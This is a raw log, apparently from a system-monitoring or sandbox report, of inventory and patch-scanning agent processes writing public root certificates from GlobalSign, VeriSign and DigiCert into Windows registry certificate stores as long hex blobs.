5900000001000000120000005200530041002f0053004800410031000000190000000100000010000000a823b4a20180beb460cab955c24d7e210f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c0400000001000000100000003e455215095192e1b75d379fb187298a5c000000010000000400000000080000200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2\Blob = 5900000001000000100000005200530041002f004d004400320000007e0000000100000008000000000010c51e92d201620000000100000020000000e7685634efacf69ace939a6b255b7b4fabef42935b50a265acb5cb6027e44e7009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030119000000010000001000000091161b894b117ecdc257628db460cc04030000000100000014000000742c3192e607e424eb4549542be1bbc53e6174e21d000000010000001000000027b3517667331ce2c1e74002b5ff2298140000000100000014000000e27f7bd877d5df9e0a3f9eb4cb0e2ea9efdb69770b000000010000004600000056006500720069005300690067006e00200043006c006100730073002000330020005000750062006c006900630020005000720069006d00610072007900200043004100000004000000010000001000000010fc635df6263e0df325be5f79cd67670f0000000100000010000000d7c63be0837dbabf881d4fbf5f986ad853000000010000002400000030223020060a2b0601040182375e010130123010060a2b0601040182373c0101030200c07a000000010000000e000000300c060a2b0601040182375e010268000000010000000800000000003db65bd9d5012000000001000000400200003082023c308201a5021070bae41d10d92934b638ca7b03ccbabf300d06092a864886f70d0101020500305f310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e31373035060355040b132e436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479301e170d3936303132393030303030305a170d3238303830313233353935395a305f310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e31373035060355040b132e436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f7269747930819f300d06092a864886f70d010101050003818d0030818902818100c95c599ef21b8a0114b410df0440dbe357af6a45408f840c0bd133d9d911cfee02581f25f72aa84405aaec031f787f9e93b99a00aa237dd6ac85a26345c77227ccf44cc67571d239ef4f42f075df0a90c68e206f980ff8ac235f702936a4c986e7b19a20cb53a585e73dbe7d9afe244533dc7615ed0fa271644c652e816845a70203010001300d06092a864886f70d010102050003818100bb4c122bcf2c26004f1413dda6fbfc0a11848cf3281c67922f7cb6c5fadff0e895bc1d8f6c2ca851cc73d8a4c053f04ed626c076015781925e21f1d1b1ffe7d02158cd6917e3441c9c194439895cdc9c000f568d0299eda290454ce4bb10a43df032030ef1cef8e8c9518ce6629fe69fc07db7729cc9363a6b9f4ea8ff640d64 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\3679CA35668772304D30A5FB873B0FA77BB70D54\Blob = 5900000001000000160000005200530041002f0053004800410032003500360000000400000001000000100000008eadb501aa4d81e48c1dd1e1140095190300000001000000140000003679ca35668772304d30a5fb873b0fa77bb70d547e000000010000000800000000c0032f2df8d6011d0000000100000010000000439b4d52906df7a01771d729528723b3140000000100000014000000b677fa6948479f5312d5c2ea07327607d19707197f0000000100000016000000301406082b0601050507030306082b060105050703016200000001000000200000002399561127a57125de8cefea610ddf2fa078b5c8067f4e828290bfb860e84b3c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b0601050507030853000000010000004200000030403021060b6086480186f8450107170630123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000006000000056006500720069005300690067006e00200055006e006900760065007200730061006c00200052006f006f0074002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f000000010000002000000017fe16f394ec70a5bb0c6784cab40b1e61025ae9d50ecaa0531d6b4d997bbc59190000000100000010000000ad6d6ff31b24013151f279e26a8c33245c0000000100000004000000000800002000000001000000bd040000308204b9308203a1a0030201020210401ac46421b31321030ebbe4121ac51d300d06092a864886f70d01010b05003081bd310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303820566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79313830360603550403132f566572695369676e20556e6976657273616c20526f6f742043657274696669636174696f6e20417574686f72697479301e170d3038303430323030303030305a170d3337313230313233353935395a3081bd310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303820566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79313830360603550403132f566572695369676e20556e6976657273616c20526f6f742043657274696669636174696f6e20417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a0282010100c761375eb10134db62d7159bff585a8c2323d6608e91d79098837ae65819388cc5f6e56485b4a271fbedbdb9dacd4d00b4c82d73a5c76971951f393cb244079ce80efa4d4ac421df29618f32226182c5871f6e8c7c5f16205144d1704f57eae31ce3cc79ee58d80ec2b34593c02ce79a172b7b00377a413378e133e2f3101a7f872cbef6f5f742e2e5bf8762895f004bdfc5dde4754432413a1e716e69cb0b754608d1cad22b95d0cffbb9406b648c574dfc13117984ed5e54f6349f0801f3102506174adaf11d7a666b986066a4d9efd22e82f1f0ef09ea44c9156ae2036e33d3ac9f5500c7f6086a94b95fdce033f18460f95b2711b4fc16f2bb566a80258d0203010001a381b23081af300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106306d06082b0601050507010c0461305fa15da05b3059305730551609696d6167652f6769663021301f300706052b0e03021a04148fe5d31a86ac8d8e6bc3cf806ad448182c7b192e30251623687474703a2f2f6c6f676f2e766572697369676e2e636f6d2f76736c6f676f2e676966301d0603551d0e04160414b677fa6948479f5312d5c2ea07327607d1970719300d06092a864886f70d01010b050003820101004af8f8b003e62c677be4947763cc6e4cf97d0e0ddcc8b935b9704f63fa24fa6c838c479d3b63f39af976329591b177bcac9abeb1e43121c68195565a0eb1c2d4b1a659acf163cbb84c1d59904aef9016281f5aae10fb8150380c6cccf13dc3f563e3b3e321c92439e9fd156646f41b11d04d73a37d46f93deda85f62d4f13ff8e074572b189d81b4c428da9497a570ebac1dbe0711f0d5dbdde58cf0d532b083e657e28fbfbea1aabf3d1db5d438ead7b05c3a4f6a3f8fc0666c63aae9d9a416f481d195140e7dcd9534d9d28f7073817b9c7ebd9861d845879890c5eb8630c635bff0ffc35588834bef05920671f2b89893b7eccd8261f138e64f97982a5a8d dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5900000001000000120000005200530041002f005300480041003100000004000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6205c0000000100000004000000000800002000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\Remote Desktop\Certificates dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\CRLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\CTLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8F43288AD272F3103B6FB1428485EA3014C0BCFE dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\SystemCertificates\TrustedDevices dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\SystemCertificates\ClientAuthIssuer dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\Remote Desktop\CRLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 5900000001000000120000005200530041002f00530048004100310000000f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000007431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c92000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates\B68D8F953E551914324E557E6164D68B9926650C\Blob = 5900000001000000120000004400530041002f0053004800410031000000030000000100000014000000b68d8f953e551914324e557e6164d68b9926650c2000000001000000200300003082031c308202dba003020102020900f5610f0c1a4d426b300906072a8648ce38040330233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579301e170d3231303331383138343233375a170d3431303331333138343233375a30233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579308201b73082012b06072a8648ce3804013082011e02818100dc1911eb3e0ac27a1b8fcf7b95e6192f5ee6a922eca3cc87df88539244fb3d07d10e2fe7570a602726d0e1ed4ad078a1317746a4dc613eb0629fe4e8272b19454aa3ad2d598dc2fa884e001a5fa009ecb4b5ff6d9996610f3b2b3911a41db558608026ca0d439574a106f09c479e58ee6c7d9e93de57cfed8832798e0d6ad5a10215008453f6990ad5473bab4ebb0f46ce52d5a354596502818070de55e09bdc70d46f414acf263fdb2ff0879f0bceed06ea6789a518fe5cfe025374aacead5cf1d27aca1b085c4b0cd4f4561c387d24c904f96af7db6f57a8a9110901b51dc2a2531532ad06ec4096f288e73d651cc1d6140b2932ee4c95ec4bb09d462800de2765606137d04e8ff9ced03b391c89ebc91d119d312f4f4ba88f0381850002818100d920e184f0439cac6f987f511ef4d45b4a6f693c806c55f143558ffab70deb4f1a92a2a6c8c8ac931094c92a0118011b13fb33701a93bb8569bec9323811d8e8b8ba7b060fe5ca557bb980461dbbf9cb863b3cf7259015c22efd0fabbdffa3b19cbc9f6dd469605ab4aa59ad5126eab69f3de5cb3470b9fc4c8a69b7e87a8832a38198308195301d0603551d0e04160414d8201fdaa7f2d1002bf5eda7be5e8e49897208f030530603551d23044c304a8014d8201fdaa7f2d1002bf5eda7be5e8e49897208f0a127a42530233121301f06035504031318546f6b656e205369676e696e67205075626c6963204b6579820900f5610f0c1a4d426b30120603551d130101ff040830060101ff020100300b0603551d0f0404030201c6300906072a8648ce380403033000302d021470c61b78deaf41f3cbf42bd3c0f1fd7a5018f1bf0215008399b086c63512f057352a2bf1e6b248d8ab107d dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\CRLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\SystemCertificates\REQUEST dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\7E04DE896A3E666D00E687D33FFAD93BE83D349E\Blob = 59000000010000001a000000450043004400530041002f005300480041003300380034000000530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0040000000100000010000000f55da450a5fb287e1e0f0dcc965756ca0f000000010000003000000082c80199397722b57ad473ea266b93d47ffc77fe07f09388345f20dab6addd087672f988b4bbfd154c4b133c70c9ecff0b000000010000003000000044006900670069004300650072007400200047006c006f00620061006c00200052006f006f007400200047003300000062000000010000002000000031ad6648f8104138c738f39ea4320133393e3a18cc02296ef97c2ac9ef6731d0140000000100000014000000b3db48a4f9a1c5d8ae3641cc1163696229bc4bc61d0000000100000010000000d0ab39edd1a4d89a5512882deb09cb130300000001000000140000007e04de896a3e666d00e687d33ffad93be83d349e190000000100000010000000b009e99a5cfc928a173190106dbb32a95c000000010000000400000080010000090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703082000000001000000430200003082023f308201c5a0030201020210055556bcf25ea43535c3a40fd5ab4572300a06082a8648ce3d0403033061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204733301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f742047333076301006072a8648ce3d020106052b8104002203620004dda7d9bb8ab80bfb0b7f21d2f0bebe73f3335d1abc34eadec69bbcd095f6f0ccd00bba615b51467e9e2d9fee8e630c17ec0770f5cf842e40839ce83f416d3badd3a4145936789d0343ee10136c72deae88a7a16bb543ce67dc23ff031ca3e23ea3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e04160414b3db48a4f9a1c5d8ae3641cc1163696229bc4bc6300a06082a8648ce3d0403030368003065023100adbcf26c3f124ad12d39c30a099773f488368c8827bbe6888d5085a763f99e32de66930ff1ccb1098fdd6cabfa6b7fa0023039665bc2648db89e50dca8d549a2edc7dcd1497f1701b8c8868f4e8c882ba89aa98ac5d100bdf854e29ae55b7cb32717 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\MSIEHistoryJournal\CRLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F dcpatchscan.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\MSIEHistoryJournal\CTLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC\Certificates dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC\CTLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\SystemCertificates\Remote Desktop dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6 dcpatchscan.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\CRLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3B1EFD3A66EA28B16697394703A72CA340A05BD5 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates\B68D8F953E551914324E557E6164D68B9926650C dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6 dcconfig.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\CRLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5\Blob = 5900000001000000120000005200530041002f00530048004100310000000f0000000100000014000000e91e1e972b8f467ab4e0598fa92285387dee94c953000000010000006300000030613021060b6086480186f8450107170630123010060a2b0601040182373c0101030200c0301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c07f000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030109000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703016200000001000000200000009acfab7e43c8d880d06b262a94deeee4b4659989c3d0caf19baf6405e41ab7df1400000001000000140000007fd365a7c2ddecbbf03009f34339fa02af3331330b000000010000001200000056006500720069005300690067006e0000001d0000000100000010000000c6cbcafa17955c4cfd41eca0c654c3617e000000010000000800000000c0032f2df8d6016800000001000000000000000300000001000000140000004eb6d578499b1ccf5f581ead56be3d9b6744a5e5190000000100000010000000d8b5fb368468620275d142ffd2aade372000000001000000d7040000308204d3308203bba003020102021018dad19e267de8bb4a2158cdcc6b3b4a300d06092a864886f70d01010505003081ca310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303620566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79314530430603550403133c566572695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735301e170d3036313130383030303030305a170d3336303731363233353935395a3081ca310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e311f301d060355040b1316566572695369676e205472757374204e6574776f726b313a3038060355040b1331286329203230303620566572695369676e2c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79314530430603550403133c566572695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d20473530820122300d06092a864886f70d01010105000382010f003082010a0282010100af240808297a359e600caae74b3b4edc7cbc3c451cbb2be0fe2902f95708a364851527f5f1adc831895d22e82aaaa642b38ff8b955b7b1b74bb3fe8f7e0757ecef43db66621561cf600da4d8def8e0c362083d5413eb49ca59548526e52b8f1b9febf5a191c23349d843636a524bd28fe870514dd189697bc770f6b3dc1274db7b5d4b56d396bf1577a1b0f4a225f2af1c926718e5f40604ef90b9e400e4dd3ab519ff02baf43ceee08beb378becf4d7acf2f6f03dafdd759133191d1c40cb7424192193d914feac2a52c78fd50449e48d6347883c6983cbfe47bd2b7e4fc595ae0e9dd4d143c06773e314087ee53f9f73b8330acf5d3f3487968aee53e825150203010001a381b23081af300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106306d06082b0601050507010c0461305fa15da05b3059305730551609696d6167652f6769663021301f300706052b0e03021a04148fe5d31a86ac8d8e6bc3cf806ad448182c7b192e30251623687474703a2f2f6c6f676f2e766572697369676e2e636f6d2f76736c6f676f2e676966301d0603551d0e041604147fd365a7c2ddecbbf03009f34339fa02af333133300d06092a864886f70d0101050500038201010093244a305f62cfd81a982f3deadc992dbd77f6a5792238ecc4a7a07812ad620e457064c5e797662d98097e5fafd6cc2865f201aa081a47def9f97c925a0869200dd93e6d6e3c0d6ed8e606914018b9f8c1eddfdb41aae09620c9cd64153881c994eea284290b136f8edb0cdd2502dba48b1944d2417a05694a584f60ca7e826a0b02aa251739b5db7fe784652a958abd86de5e8116832d10ccdefda8822a6d281f0d0bc4e5e71a2619e1f4116f10b595fce7420532dbce9d515e28b69e85d35befa57d4540728eb70e6b0e06fb33354871b89d278bc4655f0d86769c447af6955cf65d320833a454b6183f685cf2424a853854835fd1e82cf2ac11d6a8ed636a dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25 dcinventory.exe Set value (data) 